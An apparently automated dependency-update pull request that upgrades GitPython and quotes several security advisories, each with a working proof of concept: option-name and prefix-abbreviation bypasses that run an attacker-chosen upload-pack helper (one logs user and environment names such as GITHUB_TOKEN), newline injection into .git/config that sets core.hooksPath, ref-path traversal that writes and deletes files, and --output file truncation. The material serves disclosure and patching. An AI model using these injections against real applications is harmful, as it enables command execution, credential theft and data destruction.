Update dependency gitpython to ~=3.2.1 [SECURITY] #26

Open
Renovate wants to merge 1 commit from renovate/pypi-gitpython-vulnerability into main
Member

This PR contains the following updates:

Package Change Age Confidence
gitpython (changelog) ~=3.1.45 → ~=3.2.1 age confidence

GitPython has Command Injection via Git options bypass

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC
  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

##### Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work

##### you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

##### the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

##### this is the actual vulnerability

##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

##### Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
  1. Expected result:
  • The script prints control=blocked
  • The script prints proof_exists True ...
  • The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

  • Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
  • Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
  • CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

  • A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

  • Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
  • Modification of repositories, build outputs, or release artifacts
  • Lateral movement from CI/CD workers or automation hosts
  • Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe option check validates multi_options before shlex.split transformation

CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79
Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions
  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details
Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py

Exploit
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact
What can an attacker do?
  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact
  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?
  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

CVE-2026-67326 / GHSA-mv93-w799-cj2w / PYSEC-2026-3980

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-67326 / GHSA-mv93-w799-cj2w / PYSEC-2026-3980

More information

Details

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836

More information

Details

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

##### git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)
Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites
Bypass keys (verified)
kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)
Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)
  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

CVE-2026-67323 / GHSA-956x-8gvw-wg5v / PYSEC-2026-3839

More information

Details

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

CVE-2026-67325 / GHSA-2f96-g7mh-g2hx / PYSEC-2026-3836

More information

Details

